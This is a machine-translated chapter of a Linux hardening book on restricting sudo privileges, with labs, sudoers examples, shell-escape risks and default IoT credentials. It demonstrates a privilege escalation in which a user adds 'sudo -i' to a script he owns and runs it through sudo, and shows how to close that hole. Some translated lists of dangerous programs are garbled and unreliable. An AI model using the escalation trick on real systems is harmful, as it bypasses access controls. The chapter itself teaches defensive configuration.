-管理用户是信息技术管理中更具挑战性的方面之一。您需要确保用户可以随时访问他们的资料,并且他们可以执行完成工作所需的任务。您还需要确保用户的资料始终不会被未经授权的用户窃取,并且用户不能执行任何不符合其工作描述的任务。这是一项艰巨的任务,但我们的目标是证明这是可行的。在本章中,我们将了解如何锁定用户帐户和用户凭据,以保护他们免受攻击者和窥探者的攻击。我们还将研究如何防止用户为了执行工作而拥有更多的特权。 - -本章涉及的具体主题如下: - -* 以 root 用户身份登录的危险 -* 使用`sudo`的优点 -* 为完全管理用户和仅具有某些委派权限的用户设置`sudo`权限 -* 高级使用技巧和诀窍`sudo` -* 锁定用户的主目录 -* 强制实施强密码标准 -* 设置和实施密码和帐户过期 -* 防止暴力密码攻击 -* 锁定用户帐户 -* 设置安全横幅 -* 检测泄露的密码 -* 了解中央用户管理系统 - -# 以 root 用户身份登录的危险 - -与 Windows 相比,Unix 和 Linux 操作系统的一个巨大优势是,Unix 和 Linux 在将特权管理帐户与普通用户帐户分开方面做得更好。事实上,旧版本的 Windows 如此容易受到安全问题(如免下车病毒感染)影响的一个原因是,通常的做法是设置具有管理权限的用户帐户,而没有新版本 Windows 中的**用户访问控制**(**【UAC】**)的保护。(即使在 UAC,Windows 系统仍然会被感染,只是没有那么频繁。)使用 Unix 和 Linux,感染一个配置正确的系统要困难得多。 - -您可能已经知道 Unix 或 Linux 系统上的全能管理员帐户是根帐户。如果您以 root 用户身份登录,您可以对该系统执行任何想要的操作。所以你可能会想,“是的,这很方便,所以这就是我要做的。”但是,始终以根用户身份登录可能会带来大量安全问题。请考虑以下内容。以 root 用户身份登录可以执行以下操作: - -* 使您更容易意外执行对系统造成损害的操作 -* 使其他人更容易执行对系统造成损害的操作 - -因此,如果您总是以根用户身份登录,或者即使您只是让根用户帐户易于访问,您也可以说您为攻击者和入侵者做了大量工作。同样,想象一下,如果你是一家大公司的 Linux 管理员,允许用户执行管理任务的唯一方法是给他们所有的根密码。如果其中一个用户离开公司,会发生什么?你不会希望那个人仍然能够登录系统,所以你必须更改密码,并将新密码分发给所有其他用户。如果您只想让用户只对某些任务拥有管理员权限,而不是拥有完全的根权限,该怎么办? - -我们需要的是一种机制,该机制允许用户执行管理任务,而不会承担让他们始终以根用户身份登录的风险,并且还允许用户只拥有执行特定工作所需的管理员权限。在 Linux 和 Unix 中,我们以`sudo`实用程序的形式拥有这种机制。 - -# 使用 sudo 的优势 - -如果使用得当,`sudo`实用程序可以大大提高系统的安全性,并且可以让管理员的工作变得更加容易。使用`sudo`,您可以执行以下操作: - -* 为某些用户分配完全管理权限,而只为其他用户分配执行与其各自工作直接相关的任务所需的权限。 -* 允许用户通过输入他们自己的正常用户密码来执行管理任务,这样您就不必将根密码分发给每个人和他的兄弟。 -* 让入侵者更难侵入你的系统。如果您实现`sudo`并禁用根用户帐户,潜在的入侵者将不知道攻击哪个帐户,因为他们不知道哪个帐户具有管理员权限。 -* 创建可以在整个企业网络中部署的`sudo`策略,即使该网络混合了 Unix、BSD 和 Linux 机器。 -* 提高您的审计能力,因为您将能够看到用户使用他们的管理权限在做什么。 - -关于最后一点,请考虑我的 CentOS 7 虚拟机的安全日志中的以下片段: - -```sh -Sep 29 20:44:33 localhost sudo: donnie : TTY=pts/0 ; PWD=/home/donnie ; -USER=root ; COMMAND=/bin/su - -Sep 29 20:44:34 localhost su: pam_unix(su-l:session): session opened for -user root by donnie(uid=0) -Sep 29 20:50:39 localhost su: pam_unix(su-l:session): session closed for -user root -``` - -您可以看到,我使用`su -`登录到根命令提示符,然后注销。当我登录时,我做了几件需要 root 权限的事情,但是没有一件被记录下来。不过被记录下来的是我用`sudo`做的事情。也就是说,因为这台机器上的根帐户被禁用,所以我使用了我的`sudo`特权来让`su -`为我工作。让我们看另一个片段来展示更多关于它如何工作的细节: - -```sh -Sep 29 20:50:45 localhost sudo: donnie : TTY=pts/0 ; PWD=/home/donnie ; -USER=root ; COMMAND=/bin/less /var/log/secure -Sep 29 20:55:30 localhost sudo: donnie : TTY=pts/0 ; PWD=/home/donnie ; -USER=root ; COMMAND=/sbin/fdisk -l -Sep 29 20:55:40 localhost sudo: donnie : TTY=pts/0 ; PWD=/home/donnie ; -USER=root ; COMMAND=/bin/yum upgrade -Sep 29 20:59:35 localhost sudo: donnie : TTY=tty1 ; PWD=/home/donnie ; -USER=root ; COMMAND=/bin/systemctl status sshd -Sep 29 21:01:11 localhost sudo: donnie : TTY=tty1 ; PWD=/home/donnie ; -USER=root ; COMMAND=/bin/less /var/log/secure -``` - -这一次,我使用我的`sudo`权限打开一个日志文件,查看我的硬盘配置,执行系统更新,检查安全外壳守护程序的状态,并再次查看一个日志文件。所以,如果你是我公司的安全管理员,你就能看到我是否在滥用我的`sudo`权力。 - -现在,你在问,“什么能阻止一个人仅仅做一个`sudo su -`来阻止他或她的恶行被发现?”那很简单。就是不给人去根命令提示符的权力。 - -# 为完全管理用户设置 sudo 权限 - -在我们研究如何限制用户可以做什么之前,我们先来看看如何允许用户做所有的事情,包括登录到根命令提示符。有几种方法可以做到这一点。 - -# 将用户添加到预定义的管理组 - -第一种方法是最简单的,将用户添加到预定义的管理员组,然后,如果还没有完成,配置`sudo`策略以允许该组完成其工作。除了不同的 Linux 发行家族使用不同的管理组之外,这样做很简单。 - -在 Unix、BSD 和大多数 Linux 系统上,您可以将用户添加到轮组中。(红帽家族的成员,包括 CentOS,都属于这一类。)当我在我的任何一台 CentOS 机器上执行`groups`命令时,我会得到以下信息: - -```sh -[donnie@localhost ~]$ groups -donnie wheel -[donnie@localhost ~]$ -``` - -这说明我是车轮组的成员。通过做`sudo visudo`,我将打开`sudo`策略文件。向下滚动,我们会看到赋予车轮组强大动力的线条: - -```sh -## Allows people in group wheel to run all commands -%wheel ALL=(ALL) ALL -``` - -百分号表示我们在和一个团队合作。`ALL`的三种外观意味着该组的成员可以作为任何用户,在部署了该策略的网络中的任何机器上执行任何命令。唯一的小问题是,为了执行`sudo`任务,组成员将被提示输入他们自己的正常用户帐户密码。再向下滚动一点,您将看到以下内容: - -```sh -## Same thing without a password -# %wheel ALL=(ALL) NOPASSWD: ALL -``` - -如果我们注释掉前一个片段中的`%wheel`行,并删除这个片段中`%wheel`行前面的注释符号,那么轮盘组的成员将能够执行他们所有的`sudo`任务,而无需输入任何密码。那是我真的不推荐的东西,即使是家用的。在商业环境中,允许人们拥有无密码`sudo`特权是绝对不允许的。 - -要将现有用户添加到`wheel`组,请使用带有`-G`选项的`usermod`。您可能还想使用`-a`选项,以防止将用户从他或她所属的其他组中删除。举个例子,让我们加上玛吉: - -```sh -sudo usermod -a -G wheel maggie -``` - -您也可以在创建`wheel`组时将用户帐户添加到该组。现在让我们为弗兰克做这件事: - -```sh -sudo useradd -G wheel frank -``` - -Note that, with my usage of `useradd`, I'm assuming that we're working with a member of the Red Hat family, which comes with predefined default settings to create user accounts. For non-Red Hat-type distributions that use the `wheel` group, you'd need to either reconfigure the default settings or use extra option switches in order to create the user's home directory and to assign the correct shell. Your command then would look something like this: - -`sudo useradd -G wheel -m -d /home/frank -s /bin/bash frank` - -对于 Debian 家族的成员,包括 Ubuntu,程序是一样的,除了你会使用`sudo`组而不是`wheel`组。(这种数字,考虑到 Debian 人几乎总是随着不同的鼓点行进。) - -One way in which this technique would come in handy is whenever you need to create a virtual private server on a cloud service, such as Rackspace, DigitalOcean, or Vultr. When you log in to one of those services and initially create your virtual machine, the cloud service will have you log in to that virtual machine as the root user. (This even happens with Ubuntu, even though the root user account is disabled whenever you do a local installation of Ubuntu.) - -The first thing that you'll want to do in this scenario is to create a normal user account for yourself and give it full `sudo` privileges. Then, log out of the root account and log back in with your normal user account. You'll then want to disable the root account with this command: - -`sudo passwd -l root` - -You'll also want to do some additional configuration to lock down Secure Shell access, but we'll cover that in [Chapter 6](06.html), *SSH Hardening*. - -# 在 sudo 策略文件中创建一个条目 - -好的,如果你只是在一台机器上工作,或者你正在一个只使用这两个管理组之一的网络上部署一个`sudo`策略,那么将用户添加到`wheel`组或`sudo`组非常有效。但是如果你想在一个由红帽和 Ubuntu 机器混合组成的网络中部署一个`sudo`策略呢?或者,如果您不想在每台机器上添加用户到管理组,该怎么办?然后,只需在`sudo`政策文件中创建一个条目。您可以为单个用户创建条目,也可以创建用户别名。如果在 CentOS 虚拟机上执行`sudo visudo`,您将看到一个用户别名的注释示例: - -```sh -# User_Alias ADMINS = jsmith, mikem -``` - -您可以取消对这一行的注释并添加您自己的一组用户名,或者您也可以添加一行带有您自己的用户别名的用户名。要为用户别名的成员提供完整的`sudo`权限,请添加另一行,如下所示: - -```sh -ADMINS ALL=(ALL) ALL -``` - -也可以只为单个用户添加一个`visudo`条目,在非常特殊的情况下,您可能需要这样做。这里有一个例子: - -```sh -frank ALL=(ALL) ALL -``` - -但是为了便于管理,最好使用用户组或用户别名。 - -The `sudo` policy file is the `/etc/sudoers` file. I always hesitate to tell students that because, every once in a while, I have a student try to edit it in a regular text editor. That doesn't work though, so please don't try it. Always edit `sudoers` with the `sudo visudo` command. - -# 为仅具有某些委派权限的用户设置 sudo - -信息技术安全理念的一个基本原则是给予网络用户足够的特权,以便他们能够完成工作,但除此之外没有其他特权。所以,你会希望尽可能少的人拥有完全的`sudo`特权。(如果您启用了根用户帐户,您会希望知道根密码的人更少。)您还需要一种方法,根据人们的具体工作将权限委派给他们。备份管理员需要能够执行备份任务,帮助台人员需要执行用户管理任务,等等。借助`sudo`,您可以委派这些权限,并禁止用户从事任何其他不符合其工作描述的管理工作。 - -最好的解释是让你在你的 CentOS 虚拟机上打开`visudo`。因此,继续启动 CentOS 虚拟机,并输入以下命令: - -```sh -sudo visudo -``` - -与 Ubuntu 不同,CentOS 有一个完整的注释和文档化的`sudoers`文件。我已经向您展示了创建`ADMIN`用户别名的行,您可以为其他目的创建其他用户别名。例如,您可以为备份管理员创建一个`BACKUPADMINS`用户别名,为 web 服务器管理员创建一个`WEBADMINS`用户别名,或者您想要的任何其他别名。因此,您可以添加一行,如下所示: - -```sh -User_Alias SOFTWAREADMINS = vicky, cleopatra -``` - -这很好,除了维基和克利奥帕特拉仍然无能为力。您需要为用户别名分配一些职责。 - -如果您查看后面提到的示例用户别名,您将看到一个示例命令别名列表。其中一个例子恰好是`SOFTWARE`,它包含管理员安装或删除软件或更新系统所需的命令。它被注释掉了,所有其他示例命令别名也被注释掉了,因此您需要从行首删除哈希符号,然后才能使用它: - -```sh -Cmnd_Alias SOFTWARE = /bin/rpm, /usr/bin/up2date, /usr/bin/yum -``` - -现在,只需将`SOFTWARE`命令别名分配给`SOFTWAREADMINS`用户别名即可: - -```sh -SOFTWAREADMINS ALL=(ALL) SOFTWARE -``` - -维基和克利奥帕特拉都是`SOFTWAREADMINS`用户别名的成员,现在可以在安装了此策略的所有服务器上以 root 权限运行`rpm`、`up2date`和`yum`命令。 - -在您取消对这些预定义命令别名的注释并将它们分配给用户、组或用户别名后,除了一个之外,所有这些预定义命令别名都可以使用。唯一的例外是`SERVICES`命令别名: - -```sh -Cmnd_Alias SERVICES = /sbin/service, /sbin/chkconfig, /usr/bin/systemctl start, /usr/bin/systemctl stop, /usr/bin/systemctl reload, /usr/bin/systemctl restart, /usr/bin/systemctl status, /usr/bin/systemctl enable, /usr/bin/systemctl disable -``` - -这个`SERVICES`别名的问题在于,它还列出了`systemctl`命令的不同子命令。`sudo`的工作方式是,如果一个命令被单独列出,那么被分配的用户可以将该命令与任何子命令、选项或参数一起使用。因此,在`SOFTWARE`示例中,`SOFTWARE`用户别名的成员可以运行如下命令: - -```sh -sudo yum upgrade -``` - -但是,当命令别名中列出一个带有子命令、选项或参数的命令时,所有被分配了该命令别名的人都可以运行。当`SERVICES`命令别名处于当前配置时,`systemctl`命令不起作用。为了了解原因,让我们在`SERVICESADMINS`用户别名中设置查理和莱昂内尔,然后取消`SERVICES`命令别名的注释,就像我们之前做的那样: - -```sh -User_Alias SERVICESADMINS = charlie, lionel -SERVICESADMINS ALL=(ALL) SERVICES -``` - -现在,看看当莱昂内尔试图检查安全外壳服务的状态时会发生什么: - -```sh -[lionel@centos-7 ~]$ sudo systemctl status sshd - [sudo] password for lionel: - Sorry, user lionel is not allowed to execute '/bin/systemctl status sshd' as root on centos-7.xyzwidgets.com. - [lionel@centos-7 ~]$ -``` - -好吧,那么莱昂内尔可以运行`sudo systemctl status`,这几乎没有用,但是他不能做任何有意义的事情,比如指定他想要检查的服务。这有点问题。有两种方法可以解决这个问题,但只有一种方法是你想用的。您可以删除所有的`systemctl`子命令,并使`SERVICES`别名如下所示: - -```sh -Cmnd_Alias SERVICES = /sbin/service, /sbin/chkconfig, /usr/bin/systemctl -``` - -但是如果你这样做了,莱昂内尔和查理也将能够关闭或重新启动系统,编辑服务文件,或将机器从一个系统目标更改为另一个。那可能不是你想要的。因为`systemctl`命令涵盖了许多不同的功能,所以您必须小心不要允许委派用户访问太多这些功能。更好的解决方案是在每个`systemctl`子命令中添加一个通配符: - -```sh -Cmnd_Alias SERVICES = /sbin/service, /sbin/chkconfig, /usr/bin/systemctl start *, /usr/bin/systemctl stop *, /usr/bin/systemctl reload *, /usr/bin/systemctl restart *, /usr/bin/systemctl status *, /usr/bin/systemctl enable *, /usr/bin/systemctl disable * -``` - -现在,莱昂内尔和查理可以为任何服务执行本命令别名中列出的任何`systemctl`功能: - -```sh - [lionel@centos-7 ~]$ sudo systemctl status sshd - [sudo] password for lionel: - ● sshd.service - OpenSSH server daemon - Loaded: loaded (/usr/lib/systemd/system/sshd.service; enabled; vendor preset: enabled) - Active: active (running) since Sat 2017-09-30 18:11:22 EDT; 23min ago - Docs: man:sshd(8) - man:sshd_config(5) - Main PID: 13567 (sshd) - CGroup: /system.slice/sshd.service - └─13567 /usr/sbin/sshd -D - Sep 30 18:11:22 centos-7.xyzwidgets.com systemd[1]: Starting OpenSSH server daemon... - Sep 30 18:11:22 centos-7.xyzwidgets.com sshd[13567]: Server listening on 0.0.0.0 port 22. - Sep 30 18:11:22 centos-7.xyzwidgets.com sshd[13567]: Server listening on :: port 22. - Sep 30 18:11:22 centos-7.xyzwidgets.com systemd[1]: Started OpenSSH server daemon. - [lionel@centos-7 ~]$ -``` - -请记住,您不仅限于使用用户别名和命令别名。您还可以为 Linux 组或单个用户分配权限。您还可以将单个命令分配给用户别名、Linux 组或单个用户。这里有一个例子: - -```sh -katelyn ALL=(ALL) STORAGE -gunther ALL=(ALL) /sbin/fdisk -l -%backup_admins ALL=(ALL) BACKUP -``` - -Katelyn 现在可以执行`STORAGE`命令别名中的所有命令,而 Gunther 只能使用`fdisk`查看分区表。`backup_admins` Linux 组的成员可以在`BACKUP`命令别名中执行命令。 - -在本主题中,我们将看到的最后一件事是您在用户别名示例之前看到的主机别名示例: - -```sh -# Host_Alias FILESERVERS = fs1, fs2 -# Host_Alias MAILSERVERS = smtp, smtp2 -``` - -每个主机别名由服务器主机名列表组成。这允许您在一台机器上创建一个`sudoers`文件,并在网络上部署它。例如,您可以使用适当的命令创建一个`WEBSERVERS`主机别名、`WEBADMINS`用户别名和一个`WEBCOMMANDS`命令别名。您的配置如下所示: - -```sh -Host_Alias WEBSERVERS = webserver1, webserver2 -User_Alias WEBADMINS = junior, kayla -Cmnd_Alias WEBCOMMANDS = /usr/bin/systemctl status httpd, /usr/bin/systemctl start httpd, /usr/bin/systemctl stop httpd, /usr/bin/systemctl restart httpd - -WEBADMINS WEBSERVERS=(ALL) WEBCOMMANDS -``` - -现在,当用户向网络上的服务器键入命令时,`sudo`将首先查看该服务器的主机名。如果用户被授权在该服务器上执行该命令,则`sudo`允许。否则,`sudo`予以否认。在中小型企业中,手动将主`sudoers`文件复制到网络上的所有服务器上可能效果不错。但是在大型企业中,您会希望简化和自动化流程。为此,您可以使用类似木偶、厨师或 Ansible 的东西。(这三项技术超出了本书的范围,但在 Packt 网站上,你会找到大量关于这三项技术的书籍和视频课程。) - -所有这些技术都可以在你的 Ubuntu 虚拟机和 CentOS 虚拟机上运行。唯一的问题是 Ubuntu 没有任何预定义的命令别名,所以您必须自己键入。 - -不管怎样,我知道你厌倦了阅读,所以让我们做一些工作。 - -# 分配有限 sudo 权限的实践实验 - -在本实验中,您将创建一些用户,并为他们分配不同级别的权限。为了简化事情,我们将使用 CentOS 虚拟机。 - -1. 登录 CentOS 7 虚拟机或 CentOS 8 虚拟机,并为 Lionel、Katelyn 和 Maggie 创建用户帐户: - -```sh - sudo useradd lionel - sudo useradd katelyn - sudo useradd maggie - sudo passwd lionel - sudo passwd katelyn - sudo passwd maggie -``` - -2. 打开`visudo`: - -```sh -sudo visudo -``` - -找到`STORAGE`命令别名,并删除其前面的注释符号。 - -3. 使用制表符分隔列,在文件末尾添加以下行: - -```sh -lionel ALL=(ALL) ALL -katelyn ALL=(ALL) /usr/bin/systemctl status sshd -maggie ALL=(ALL) STORAGE -``` - -保存文件并退出`visudo`。 - -4. 为了节省时间,我们将使用`su`登录不同的用户帐户。这样,您就不需要注销自己的帐户来执行这些步骤。首先,登录莱昂内尔的帐户,并通过运行几个根级命令来验证他是否拥有完全`sudo`权限: - -```sh - su - lionel - sudo su - - exit - sudo systemctl status sshd - sudo fdisk -l - exit -``` - -5. 这一次,以 Katelyn 的身份登录,并尝试运行一些根级命令。不过,如果它们都不起作用,不要太失望: - -```sh - su - katelyn - sudo su - - sudo systemctl status sshd - sudo systemctl restart sshd - sudo fdisk -l - exit -``` - -6. 最后,以 Maggie 的身份登录,运行您为 Katelyn 运行的同一组命令。 -7. 请记住,虽然本实验只有三个单独的用户,但是通过在用户别名或 Linux 组中设置他们,您可以轻松地处理更多的用户。 - -Since `sudo` is such a great security tool, you would think that everyone would use it, right? Sadly, that's not the case. Pretty much any time you look at either a Linux tutorial website or a Linux tutorial YouTube channel, you'll see the person who's doing the demo logged in at the root user command prompt. In some cases, I've seen the person remotely logged in as the root user on a cloud-based virtual machine. Now, if logging in as the root user is already a bad idea, then logging in across the internet as the root user is an even worse idea. In any case, seeing everybody do these tutorial demos from the root user's shell drives me absolutely crazy. - -Having said all this, there are some things that don't work with `sudo`. Bash shell internal commands such as `cd` don't work with it, and using `echo` to inject kernel values into the `/proc` filesystem also doesn't work with it. For tasks such as these, a person would have to go to the root command prompt. Still, though, make sure that only users who absolutely have to use the root user command prompt have access to it. - -# 使用 sudo 的高级提示和技巧 - -既然我们已经了解了设置好的`sudo`配置的基础知识,我们就遇到了一点矛盾。也就是说,即使`sudo`是一个安全工具,你可以用它做的某些事情会让你的系统比以前更加不安全。让我们看看如何避免这种情况。 - -# sudo 计时器 - -默认情况下,`sudo`计时器设置为五分钟。这意味着,一旦用户执行一个`sudo`命令并输入密码,他或她就可以在五分钟内执行另一个`sudo`命令,而无需再次输入密码。虽然这显然很方便,但如果用户离开办公桌时,命令终端仍处于打开状态,这也会有问题。 - -如果五分钟计时器还没有到期,其他人可以过来执行一些根级别的任务。如果您的安全需要,您可以通过在`sudoers`文件的`Defaults`部分添加一行来轻松禁用该计时器。这样,用户每次运行`sudo`命令时都必须输入密码。您可以将其设置为所有用户的全局设置,也可以只为特定的单个用户设置。 - -假设你正坐在舒适的小隔间里,登录到一台远程 Linux 服务器上,该服务器仍然启用了五分钟计时器。如果你需要离开你的办公桌一会儿,你最好的办法是先注销服务器。除此之外,您可以通过运行以下命令重置`sudo`计时器: - -```sh -sudo -k -``` - -这是为数不多的不输入密码就能完成的`sudo`动作之一。但是下次你执行`sudo`命令时,你必须输入你的密码,即使你之前输入密码已经不到五分钟了。 - -# 查看您的 sudo 权限 - -你不确定你拥有什么特权吗?别担心,你有办法找到的。只需运行以下命令: - -```sh -sudo -l -``` - -当我为自己这样做时,我首先看到我的帐户的一些环境变量,然后我看到我有完全的`sudo`特权: - -```sh -donnie@packtpub1:~$ sudo -l - [sudo] password for donnie: - Matching Defaults entries for donnie on packtpub1: - env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin - - User donnie may run the following commands on packtpub1: - (ALL : ALL) ALL - donnie@packtpub1:~$ -``` - -当弗兰克,我以前的野生火焰点暹罗猫,为他的帐户这样做时,他看到他只能做`fdisk -l`命令: - -```sh -frank@packtpub1:~$ sudo -l - [sudo] password for frank: - Matching Defaults entries for frank on packtpub1: - env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin - - User frank may run the following commands on packtpub1: - (ALL) /sbin fdisk -l - frank@packtpub1:~$ -``` - -但既然他是猫,他就不会抱怨。相反,他会尝试做一些偷偷摸摸的事情,我们稍后会看到。 - -# 禁用 sudo 定时器的动手实验 - -在本实验中,您将禁用 CentOS 虚拟机上的`sudo`计时器: - -1. 登录到您在上一实验中使用的同一个 CentOS 虚拟机。我们将使用您已经创建的用户帐户。 -2. 在您自己的用户帐户命令提示符下,输入以下命令: - -```sh - sudo fdisk -l - sudo systemctl status sshd - sudo iptables -L -``` - -您将会看到,您只需要输入一次密码就可以执行所有三个命令。 - -3. 在您自己的用户帐户命令提示符下,运行以下命令: - -```sh - sudo fdisk -l - sudo -k - sudo fdisk -l -``` - -注意`sudo -k`命令如何重置你的计时器,所以你必须再次输入你的密码。使用以下命令打开`visudo`: - -```sh -sudo visudo -``` - -在文件的`Defaults specification`部分,添加以下一行: - -```sh -Defaults timestamp_timeout = 0 -``` - -保存文件并退出`visudo`。 - -4. 执行您在*步骤 2* 中执行的命令。这一次,你应该看到每次都要输入密码。 -5. 打开`visudo`并修改您添加的线条,使其看起来像这样: - -```sh -Defaults:lionel timestamp_timeout = 0 -``` - -保存文件并退出`visudo`。 - -6. 从您自己的帐户外壳中,重复您在*步骤 2* 中执行的命令。然后,以莱昂内尔的身份登录,再次执行命令。 -7. 通过运行以下命令查看您自己的`sudo`权限: - -```sh -sudo -l -``` - -Note that this procedure also works for Ubuntu. - -# 阻止用户拥有根外壳访问权限 - -假设您想要设置一个具有有限`sudo`权限的用户,但是您通过添加一行这样的内容做到了: - -```sh -maggie ALL=(ALL) /bin/bash, /bin/zsh -``` - -我很抱歉地说,你一点也没有限制玛吉的进入。你已经有效地给了她巴什外壳和 ZSH 外壳的全部特权。所以,不要给你的`sudoers`加上这样的台词,因为会给你带来麻烦。 - -# 防止用户使用 shell 转义 - -某些程序,尤其是文本编辑器和寻呼机,有一个方便的 shell 转义功能。这允许用户运行 shell 命令,而不必先退出程序。例如,从 Vi 和 Vim 编辑器的命令模式中,有人可以通过运行`:!ls`来运行`ls`命令。执行该命令如下所示: - -```sh -# useradd defaults file -GROUP=100 -HOME=/home -INACTIVE=-1 -EXPIRE= -SHELL=/bin/bash -SKEL=/etc/skel -CREATE_MAIL_SPOOL=yes -~ -~ -:!ls -``` - -输出如下所示: - -```sh -[donnie@localhost default]$ sudo vim useradd - [sudo] password for donnie: - grub nss useradd - Press ENTER or type command to continue - grub nss useradd - Press ENTER or type command to continue -``` - -现在,假设您希望弗兰克能够编辑`sshd_config`文件,并且只能编辑该文件。您可能想在您的`sudo`配置中添加一行,如下所示: - -```sh -frank ALL=(ALL) /bin/vim /etc/ssh/sshd_config -``` - -这看起来可行,对吧?嗯,它没有,因为一旦弗兰克用他的`sudo`权限打开了`sshd_config`文件,他就可以使用 Vim 的 shell 转义功能来执行其他根级命令,包括能够编辑其他配置文件。你可以让弗兰克用`sudoedit`代替`vim`来解决这个问题: - -```sh -frank ALL=(ALL) sudoedit /etc/ssh/sshd_config -``` - -`sudoedit`没有脱壳功能,可以放心的让 Frank 使用。其他具有 shell 转义功能的程序包括: - -* 编辑器 -* 较少的 -* 视角 -* 更多 - -# 防止用户使用其他危险程序 - -如果你给用户无限制的使用权限,一些没有 shell 转义的程序仍然是危险的。其中包括以下内容: - -* 猫 -* 切口 -* 使用 -* 一项 Linux 指令 - -如果你必须给某人`sudo`特权来使用这些程序中的一个,最好将它们的使用限制在特定的文件。这就引出了我们的下一个提示。 - -# 用命令限制用户的操作 - -假设您创建了一个`sudo`规则,以便西尔维斯特可以使用`systemctl`命令: - -```sh -sylvester ALL=(ALL) /usr/bin/systemctl -``` - -这使得西尔维斯特可以充分利用`systemctl`功能。他可以控制守护进程,编辑服务文件,关闭或重启,以及执行`systemctl`所做的其他功能。那可能不是你想要的。更好的办法是明确西尔维斯特被允许扮演什么样的`systemctl`角色。假设您希望他能够仅控制安全外壳服务。您可以让线条看起来像这样: - -```sh -sylvester ALL=(ALL) /usr/bin/systemctl * sshd -``` - -西尔维斯特现在可以使用安全外壳服务做他需要做的一切,但是他不能关闭或重新启动系统,编辑其他服务文件,或者更改系统目标。但是,如果您希望西尔维斯特只对安全外壳服务执行某些特定的操作,该怎么办呢?然后,您必须省略通配符,并指定希望 Sylvester 执行的所有操作: - -```sh -sylvester ALL=(ALL) /usr/bin/systemctl status sshd, /usr/bin/systemctl restart sshd -``` - -现在,西尔威斯特只能重新启动安全外壳服务或检查其状态。 - -When writing `sudo` policies, you'll want to be aware of the differences between the different Linux and Unix distributions on your network. For example, on Red Hat and CentOS systems, the `systemctl` binary file is located in the `/usr/bin` directory. On Debian/Ubuntu systems, it's located in the `/bin` directory. If you have to roll out a `sudoers` file to a large enterprise network with mixed operating systems, you can use host aliases to ensure that servers will only allow the execution of commands that are appropriate for their operating systems. - -Also, be aware that some system services have different names on different Linux distributions. On Red Hat and CentOS systems, the Secure Shell service is `sshd`. On Debian/Ubuntu systems, it's just plain `ssh`. - -# 让用户像其他用户一样运行 - -在下面一行中,`(ALL)`表示西尔维斯特可以以任何用户的身份运行`systemctl`命令: - -```sh -sylvester ALL=(ALL) /usr/bin/systemctl status sshd, /usr/bin/systemctl restart sshd -``` - -这有效地为这些命令赋予了 Sylvester root 权限,因为 root 用户肯定是任何用户。如果需要,您可以将`(ALL)`更改为`(root)`,以便指定 Sylvester 只能作为根用户运行这些命令: - -```sh -sylvester ALL=(root) /usr/bin/systemctl status sshd, /usr/bin/systemctl restart sshd -``` - -好吧,那可能没什么意义,因为没什么变化。西尔维斯特以前拥有这些`systemctl`命令的根权限,现在他仍然拥有它们。但是这个特性有更多的实际用途。假设 Vicky 是数据库管理员,您希望她以`database`用户的身份运行: - -```sh -vicky ALL=(database) /usr/local/sbin/some_database_script.sh -``` - -Vicky 可以通过输入以下命令以数据库用户的身份运行该命令: - -```sh -sudo -u database some_database_script.sh -``` - -这是您可能不会经常使用的功能之一,但无论如何都要记住。你永远不知道它什么时候会派上用场。 - -# 通过用户的外壳脚本防止滥用 - -那么,如果一个用户写了一个需要`sudo`权限的 shell 脚本呢?为了回答这个问题,让弗兰克创建如下所示的`frank_script.sh` shell 脚本: - -```sh -#!/bin/bash - -echo "This script belongs to Frank the Cat." -``` - -好吧,他不需要`sudo`特权,但是让我们假设他需要。在他设置了可执行权限并用`sudo`运行之后,输出会是这样的: - -```sh - frank@packtpub1:~$ sudo ./frank_script.sh - [sudo] password for frank: - Sorry, user frank is not allowed to execute './frank_script.sh' as root on packtpub1.tds. - frank@packtpub1:~$ -``` - -因此,自然感到沮丧,弗兰克要求我创建一个`sudo`规则,这样他就可以运行脚本。所以,我打开`visudo`并为弗兰克添加了这条规则: - -```sh -frank ALL=(ALL) /home/frank/frank_script.sh -``` - -现在,当弗兰克用`sudo`运行脚本时,它起作用了: - -```sh - frank@packtpub1:~$ sudo ./frank_script.sh - [sudo] password for frank: - This script belongs to Frank the Cat. - frank@packtpub1:~$ -``` - -但是由于这个文件在弗兰克自己的主目录中,并且他是它的所有者,所以他可以以任何他想要的方式编辑它。因此,作为偷偷摸摸的类型,他在脚本的末尾添加了`sudo -i`行,现在看起来是这样的: - -```sh -#!/bin/bash - -echo "This script belongs to Frank the Cat." -sudo -i -``` - -当你观察接下来发生的事情时,要做好震惊的准备: - -```sh - frank@packtpub1:~$ sudo ./frank_script.sh - This script belongs to Frank the Cat. - root@packtpub1:~# -``` - -如您所见,Frank 现在以 root 用户身份登录。 - -`sudo -i`做的是将一个人登录到根用户的 shell 中,和`sudo su -`做的一样。如果弗兰克在他自己的命令提示符下执行`sudo -i`命令,它将会失败,因为弗兰克没有这样做的特权。但他确实有`sudo`特权运行自己的 shell 脚本。通过将 shell 脚本留在自己的主目录中,Frank 可以将根级命令放入其中。通过使用`sudo`运行脚本,脚本中的根级命令将以根级权限执行。 - -为了弥补这一点,我将使用我令人敬畏的`sudo`的力量将弗兰克的脚本移动到`/usr/local/sbin`目录,并将所有权更改为根用户,这样弗兰克将无法编辑它。当然,在此之前,我会确保删除其中的`sudo -i`一行: - -```sh - donnie@packtpub1:~$ sudo -i - root@packtpub1:~# cd /home/frank - root@packtpub1:/home/frank# mv frank_script.sh /usr/local/sbin - root@packtpub1:/home/frank# chown root: /usr/local/sbin/frank_script.sh - root@packtpub1:/home/frank# exit - logout - donnie@packtpub1:~$ -``` - -最后,我将打开`visudo`并更改他的规则,以反映脚本的新位置。新规则如下所示: - -```sh -frank ALL=(ALL) /usr/local/sbin/frank_script.sh -``` - -弗兰克仍然可以运行脚本,但他不能编辑它: - -```sh - frank@packtpub1:~$ sudo frank_script.sh - This script belongs to Frank the Cat. - frank@packtpub1:~$ -``` - -# 检测和删除默认用户帐户 - -处理**物联网** ( **物联网**)设备的一个挑战是,您不会像设置普通服务器时那样在这些设备上进行正常的操作系统安装。相反,您可以下载预装了操作系统的映像,并将该映像刻录到 microSD 卡上。安装的操作系统是用默认的用户帐户设置的,很多时候该用户是用完整的`sudo`权限设置的,不需要输入`sudo`密码。让我们以树莓皮的 Raspex Linux 发行版为例。(Raspex 是从 Ubuntu 源代码构建的。)在 Raspex 下载网站的文档页面,我们看到默认用户是`raspex`,该用户的默认密码也是`raspex`。我们还看到`root`用户的默认密码是`root`: - 